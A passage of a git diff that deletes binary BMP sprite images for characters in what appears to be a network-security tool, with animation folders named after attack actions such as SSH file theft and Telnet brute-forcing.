a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP.bmp b/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP1.bmp b/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB.bmp b/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB1.bmp b/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH1.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH10.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH10.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH10.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH12.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH12.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH12.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH4.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH4.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH4.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH5.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH5.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH5.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet1.bmp b/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce.bmp b/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce.bmp deleted file mode 100644 index ac1d6dc..0000000 Binary files a/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce1.bmp b/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone.bmp b/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone.bmp deleted file mode 100644 index f7317bb..0000000 Binary files a/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone1.bmp b/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/0.bmp b/resources/default_config/characters/BJORN/static/0.bmp deleted file mode 100644 index 8982328..0000000 Binary files a/resources/default_config/characters/BJORN/static/0.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/100.bmp b/resources/default_config/characters/BJORN/static/100.bmp deleted file mode 100644 index 4229b5b..0000000 Binary files a/resources/default_config/characters/BJORN/static/100.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/25.bmp b/resources/default_config/characters/BJORN/static/25.bmp deleted file mode 100644 index 9b51eec..0000000 Binary files a/resources/default_config/characters/BJORN/static/25.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/50.bmp b/resources/default_config/characters/BJORN/static/50.bmp deleted file mode 100644 index dfffc4e..0000000 Binary files a/resources/default_config/characters/BJORN/static/50.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/75.bmp b/resources/default_config/characters/BJORN/static/75.bmp deleted file mode 100644 index 86f4638..0000000 Binary files a/resources/default_config/characters/BJORN/static/75.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/AI.bmp b/resources/default_config/characters/BJORN/static/AI.bmp deleted file mode 100644 index 819dac8..0000000 Binary files a/resources/default_config/characters/BJORN/static/AI.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/attack.bmp b/resources/default_config/characters/BJORN/static/attack.bmp deleted file mode 100644 index 62ead1d..0000000 Binary files a/resources/default_config/characters/BJORN/static/attack.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/attacks.bmp b/resources/default_config/characters/BJORN/static/attacks.bmp deleted file mode 100644 index 4a0a5be..0000000 Binary files a/resources/default_config/characters/BJORN/static/attacks.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/auto.bmp b/resources/default_config/characters/BJORN/static/auto.bmp deleted file mode 100644 index 12b6f4f..0000000 Binary files a/resources/default_config/characters/BJORN/static/auto.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/bjorn1.bmp b/resources/default_config/characters/BJORN/static/bjorn1.bmp deleted file mode 100644 index 1c81cf6..0000000 Binary files a/resources/default_config/characters/BJORN/static/bjorn1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/bluetooth.bmp b/resources/default_config/characters/BJORN/static/bluetooth.bmp deleted file mode 100644 index 58e2079..0000000 Binary files a/resources/default_config/characters/BJORN/static/bluetooth.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/charging.bmp b/resources/default_config/characters/BJORN/static/charging.bmp deleted file mode 100644 index 5836eaf..0000000 Binary files a/resources/default_config/characters/BJORN/static/charging.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/charging1.bmp b/resources/default_config/characters/BJORN/static/charging1.bmp deleted file mode 100644 index 4482007..0000000 Binary files a/resources/default_config/characters/BJORN/static/charging1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/connected.bmp b/resources/default_config/characters/BJORN/static/connected.bmp deleted file mode 100644 index 25c82fb..0000000 Binary files a/resources/default_config/characters/BJORN/static/connected.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/cred.bmp b/resources/default_config/characters/BJORN/static/cred.bmp deleted file mode 100644 index 47ea10c..0000000 Binary files a/resources/default_config/characters/BJORN/static/cred.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/data.bmp b/resources/default_config/characters/BJORN/static/data.bmp deleted file mode 100644 index f38e7d4..0000000 Binary files a/resources/default_config/characters/BJORN/static/data.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/ethernet.bmp b/resources/default_config/characters/BJORN/static/ethernet.bmp deleted file mode 100644 index c5e20d8..0000000 Binary files a/resources/default_config/characters/BJORN/static/ethernet.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/frise.bmp b/resources/default_config/characters/BJORN/static/frise.bmp deleted file mode 100644 index 1729551..0000000 Binary files a/resources/default_config/characters/BJORN/static/frise.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/gold.bmp b/resources/default_config/characters/BJORN/static/gold.bmp deleted file mode 100644 index c729f59..0000000 Binary files a/resources/default_config/characters/BJORN/static/gold.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/level.bmp b/resources/default_config/characters/BJORN/static/level.bmp deleted file mode 100644 index 42f2a68..0000000 Binary files a/resources/default_config/characters/BJORN/static/level.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/manual.bmp b/resources/default_config/characters/BJORN/static/manual.bmp deleted file mode 100644 index 0c1954d..0000000 Binary files a/resources/default_config/characters/BJORN/static/manual.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/money.bmp b/resources/default_config/characters/BJORN/static/money.bmp deleted file mode 100644 index cd3a033..0000000 Binary files a/resources/default_config/characters/BJORN/static/money.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/networkkb.bmp b/resources/default_config/characters/BJORN/static/networkkb.bmp deleted file mode 100644 index 967d706..0000000 Binary files a/resources/default_config/characters/BJORN/static/networkkb.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/port.bmp b/resources/default_config/characters/BJORN/static/port.bmp deleted file mode 100644 index 0917334..0000000 Binary files a/resources/default_config/characters/BJORN/static/port.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/target.bmp b/resources/default_config/characters/BJORN/static/target.bmp deleted file mode 100644 index 9808765..0000000 Binary files a/resources/default_config/characters/BJORN/static/target.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/usb.bmp b/resources/default_config/characters/BJORN/static/usb.bmp deleted file mode 100644 index 5a13b47..0000000 Binary files a/resources/default_config/characters/BJORN/static/usb.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/vuln.bmp b/resources/default_config/characters/BJORN/static/vuln.bmp deleted file mode 100644 index b8547b5..0000000 Binary files a/resources/default_config/characters/BJORN/static/vuln.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/wifi.bmp b/resources/default_config/characters/BJORN/static/wifi.bmp deleted file mode 100644 index eb95ff9..0000000 Binary files a/resources/default_config/characters/BJORN/static/wifi.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/static/zombie.bmp b/resources/default_config/characters/BJORN/static/zombie.bmp deleted file mode 100644 index 4dfb112..0000000 Binary files a/resources/default_config/characters/BJORN/static/zombie.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp deleted file mode 100644 index e8f452c..0000000 Binary files a/resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce.bmp b/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce.bmp deleted file mode 100644 index 26a80ce..0000000 Binary files a/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE.bmp deleted file mode 100644 index 45583cb..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp deleted file mode 100644 index b1efac2..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp deleted file mode 100644 index 5ccefe3..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE11.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE11.bmp deleted file mode 100644 index 1c81cf6..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE11.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp deleted file mode 100644 index 9ba5270..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp deleted file mode 100644 index 88ab0a7..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE14.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE14.bmp deleted file mode 100644 index f60e0ce..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE14.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp deleted file mode 100644 index 25f7a83..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE16.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE16.bmp deleted file mode 100644 index 5662c46..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE16.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE17.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE17.bmp deleted file mode 100644 index 99a3ded..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE17.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp deleted file mode 100644 index 55a36b8..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp deleted file mode 100644 index 1474fe0..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp deleted file mode 100644 index c495b5c..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp deleted file mode 100644 index 182c193..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp deleted file mode 100644 index dbcade0..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE22.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE22.bmp deleted file mode 100644 index c913142..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE22.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp deleted file mode 100644 index 426af0b..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp deleted file mode 100644 index 243844c..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE25.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE25.bmp deleted file mode 100644 index 3c7332d..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE25.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp deleted file mode 100644 index 0e5d33d..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp deleted file mode 100644 index 6c2dea8..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE28.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE28.bmp deleted file mode 100644 index 528a843..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE28.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp deleted file mode 100644 index dfe1ccb..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp deleted file mode 100644 index 2ce8e31..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp deleted file mode 100644 index a72ca5d..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE31.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE31.bmp deleted file mode 100644 index e061a54..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE31.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE32.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE32.bmp deleted file mode 100644 index 528a843..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE32.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp deleted file mode 100644 index fc14d11..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp deleted file mode 100644 index cc9a018..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp deleted file mode 100644 index 6ac2bd2..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp deleted file mode 100644 index ba6c29a..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp deleted file mode 100644 index 07383b8..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp deleted file mode 100644 index 5183289..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp deleted file mode 100644 index 8f2497e..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE8.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE8.bmp deleted file mode 100644 index 58842c4..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE8.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE9.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE9.bmp deleted file mode 100644 index d379560..0000000 Binary files a/resources/default_config/characters/BJORN/status/IDLE/IDLE9.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner.bmp deleted file mode 100644 index 45a466f..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner1.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner1.bmp deleted file mode 100644 index 939dc2e..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp deleted file mode 100644 index 1bed73c..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp deleted file mode 100644 index 35cc8c5..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp deleted file mode 100644 index 2883594..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp deleted file mode 100644 index 2bd1847..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner6.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner6.bmp deleted file mode 100644 index 643b052..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner6.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp deleted file mode 100644 index 2742da4..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner8.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner8.bmp deleted file mode 100644 index eaa2472..0000000 Binary files a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner8.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner.bmp deleted file mode 100644 index dadf656..0000000 Binary files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp deleted file mode 100644 index 939dc2e..0000000 Binary files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp deleted file mode 100644 index 1bed73c..0000000 Binary files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp deleted file mode 100644 index 35cc8c5..0000000 Binary files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp deleted file mode 100644 index 2883594..0000000 Binary files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp deleted file mode 100644 index 2bd1847..0000000 Binary 